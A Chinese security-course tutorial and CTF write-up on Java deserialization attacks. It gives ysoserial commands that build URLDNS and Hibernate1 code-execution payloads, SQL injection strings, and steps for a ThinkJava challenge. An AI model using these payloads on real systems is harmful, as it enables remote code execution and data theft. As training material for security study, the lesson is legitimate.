小迪安全47WEB 攻防-通用漏洞Java 反序列化EXP 生成数据提取组件安全

本文主要是介绍小迪安全47WEB 攻防-通用漏洞Java 反序列化EXP 生成数据提取组件安全,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

#知识点:

1Java 反序列化演示-原生 API 接口

2Java 反序列化漏洞利用-Ysoserial 使用

3Java 反序列化漏洞发现利用点-函数&数据

4Java 反序列化考点-真实&CTF 赛题-审计分析

#内容点:

1、明白-Java 反序列化原理

2、判断-Java 反序列化漏洞

3、学会-Ysoserial 工具使用

4、学会-SerializationDumper

5、了解-简要 Java 代码审计分析

#前置知识:

序列化和反序列化的概念:

序列化:把 Java 对象转换为字节序列(字节流)的过程。

反序列化:把字节序列恢复为 Java 对象的过程。

对象的序列化主要有两种用途:

把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)

在网络上传送对象的字节序列。(网络传输对象)

函数接口:

JavaSerializable Externalizable 接口、fastjsonjacksongson

ObjectInputStream.readObjectObjectInputStream.readUnshared

XMLDecoder.readObjectYaml.loadXStream.fromXML

ObjectMapper.readValueJSON.parseObject

PHPserialize()unserialize()

Pythonpickle

数据出现:

1、功能特性:

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数

据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。

2、数据特性:

一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。

或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。

3、出现具体:

http 参数,cookiesesion,存储方式可能是 base64(rO0),压缩后的

base64(H4s),MII Servlets http,Sockets,Session 管理器,包含的协议就包

发现:

黑盒分析:数据库出现地-观察数据特性

白盒分析:组件安全&函数搜索&功能模块

利用:

Ysoserial工具利用


Ø 原生 API-Ysoserial_URLDNS 使用

Ø 三方组件-Ysoserial_支持库生成使用

Ø 解密分析-SerializationDumper 数据分析

Ø CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava


#java序列化和反序列化

具体代码:

package SerialTest;

import java.io.*;

public class SerializableTest {
    public static void main(String[] args) throws Exception {
        serialPerson();
        Person person = deserialPerson();
        System.out.println(person);
    }

    /**
     * Person对象序列化
     * @throws IOException
     */
    private static void serialPerson() throws IOException {
        Person person = new Person("xiaodi", 28, "男", 101);

        ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream(new File("d:/person.txt"))
        );
        oos.writeObject(person);
        System.out.println("person 对象序列化成功!");
        oos.close();
    }

    /**
     * Person对象反序列化
     * @return
     * @throws Exception
     */
    private static Person deserialPerson() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(
                new FileInputStream(new File("d:/x.txt"))
        );
        Person person = (Person)ois.readObject();
        System.out.println("person 对象反序列化成功!");
        //Runtime.getRuntime().exec("calc.exe");
        return person;
    }
}

正序列化

符合数据特性中的aced开头

利用:当我们对序列化后的数据进行数据更改,构造出恶意代码,再放回去,便形成了反序列化攻击

#原生 API-Ysoserial_URLDNS 使用

由于Ys工具多半是针对原生类的,而现在大多数都是以组件的形式,格式可能不支持

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

Serializable 接口

Externalizable 接口

没组件生成 DNS 利用:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://43x1nz.dnslog.cn" > urldns.ser

修改文件,将person文件换为a.txt载入使反序列化

相关的DNS收到其信息,说明其会进行反序列化并进行执行

#三方组件-Ysoserial_支持库生成使用

https://github.com/WebGoat/WebGoat

有组件生成 RCE:

将此文件库保存下来,进行引用

1、生成:java -Dhibernate5 -cp hibernate-core-

5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar

ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

进行本地执行计算机的命令

生成以ACED头的

而题中的要求要rO0AB 开头,故需进行base64加密

2、解码:python java.py

import base64

file = open("x.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

成功

#解密分析-SerializationDumper 数据分析

在代码审计中或代码利用时判断是否成功——只支持十六进制

https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞

另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名 name,pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=' union select (select name from user)#

dbName=myapp?a=' union select (select pwd from user)#

0x02 接口测试

/swagger-ui.html 接口测试:

{

"password":"admin@Rrrr_ctf_asde",

"username": "admin"

}

根据题目中给的swagger的接口login,进行测试

发现,data里有反序列化数据,解密一下(base64解密java_bs.py+SerializationDumper解密

在接口current下,输入data数据

操作成功,且得知了是admin操作的,这就说明在序列化下存在admin的权限,且只有此功能存在了对序列化的读取才会知道有admin用户,故存在反序列化操作

利用原生类URLDNS进行测试

同时进行base64加密——Java.python——因为data里的序列化为rO0AB 开头

提交

有了,漏洞存在

获取flag

ROME:让对方的指定文件发送到指定地址中

成功监听

这篇关于小迪安全47WEB 攻防-通用漏洞Java 反序列化EXP 生成数据提取组件安全的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/847894

相关文章

Spring Security基于数据库的ABAC属性权限模型实战开发教程

《SpringSecurity基于数据库的ABAC属性权限模型实战开发教程》:本文主要介绍SpringSecurity基于数据库的ABAC属性权限模型实战开发教程,本文给大家介绍的非常详细,对大... 目录1. 前言2. 权限决策依据RBACABAC综合对比3. 数据库表结构说明4. 实战开始5. MyBA

Spring Security方法级安全控制@PreAuthorize注解的灵活运用小结

《SpringSecurity方法级安全控制@PreAuthorize注解的灵活运用小结》本文将带着大家讲解@PreAuthorize注解的核心原理、SpEL表达式机制,并通过的示例代码演示如... 目录1. 前言2. @PreAuthorize 注解简介3. @PreAuthorize 核心原理解析拦截与

一文详解JavaScript中的fetch方法

《一文详解JavaScript中的fetch方法》fetch函数是一个用于在JavaScript中执行HTTP请求的现代API,它提供了一种更简洁、更强大的方式来处理网络请求,:本文主要介绍Jav... 目录前言什么是 fetch 方法基本语法简单的 GET 请求示例代码解释发送 POST 请求示例代码解释

Java图片压缩三种高效压缩方案详细解析

《Java图片压缩三种高效压缩方案详细解析》图片压缩通常涉及减少图片的尺寸缩放、调整图片的质量(针对JPEG、PNG等)、使用特定的算法来减少图片的数据量等,:本文主要介绍Java图片压缩三种高效... 目录一、基于OpenCV的智能尺寸压缩技术亮点:适用场景:二、JPEG质量参数压缩关键技术:压缩效果对比

Java调用C++动态库超详细步骤讲解(附源码)

《Java调用C++动态库超详细步骤讲解(附源码)》C语言因其高效和接近硬件的特性,时常会被用在性能要求较高或者需要直接操作硬件的场合,:本文主要介绍Java调用C++动态库的相关资料,文中通过代... 目录一、直接调用C++库第一步:动态库生成(vs2017+qt5.12.10)第二步:Java调用C++

springboot+dubbo实现时间轮算法

《springboot+dubbo实现时间轮算法》时间轮是一种高效利用线程资源进行批量化调度的算法,本文主要介绍了springboot+dubbo实现时间轮算法,文中通过示例代码介绍的非常详细,对大家... 目录前言一、参数说明二、具体实现1、HashedwheelTimer2、createWheel3、n

Java利用docx4j+Freemarker生成word文档

《Java利用docx4j+Freemarker生成word文档》这篇文章主要为大家详细介绍了Java如何利用docx4j+Freemarker生成word文档,文中的示例代码讲解详细,感兴趣的小伙伴... 目录技术方案maven依赖创建模板文件实现代码技术方案Java 1.8 + docx4j + Fr

SpringBoot首笔交易慢问题排查与优化方案

《SpringBoot首笔交易慢问题排查与优化方案》在我们的微服务项目中,遇到这样的问题:应用启动后,第一笔交易响应耗时高达4、5秒,而后续请求均能在毫秒级完成,这不仅触发监控告警,也极大影响了用户体... 目录问题背景排查步骤1. 日志分析2. 性能工具定位优化方案:提前预热各种资源1. Flowable

基于SpringBoot+Mybatis实现Mysql分表

《基于SpringBoot+Mybatis实现Mysql分表》这篇文章主要为大家详细介绍了基于SpringBoot+Mybatis实现Mysql分表的相关知识,文中的示例代码讲解详细,感兴趣的小伙伴可... 目录基本思路定义注解创建ThreadLocal创建拦截器业务处理基本思路1.根据创建时间字段按年进

Python获取中国节假日数据记录入JSON文件

《Python获取中国节假日数据记录入JSON文件》项目系统内置的日历应用为了提升用户体验,特别设置了在调休日期显示“休”的UI图标功能,那么问题是这些调休数据从哪里来呢?我尝试一种更为智能的方法:P... 目录节假日数据获取存入jsON文件节假日数据读取封装完整代码项目系统内置的日历应用为了提升用户体验,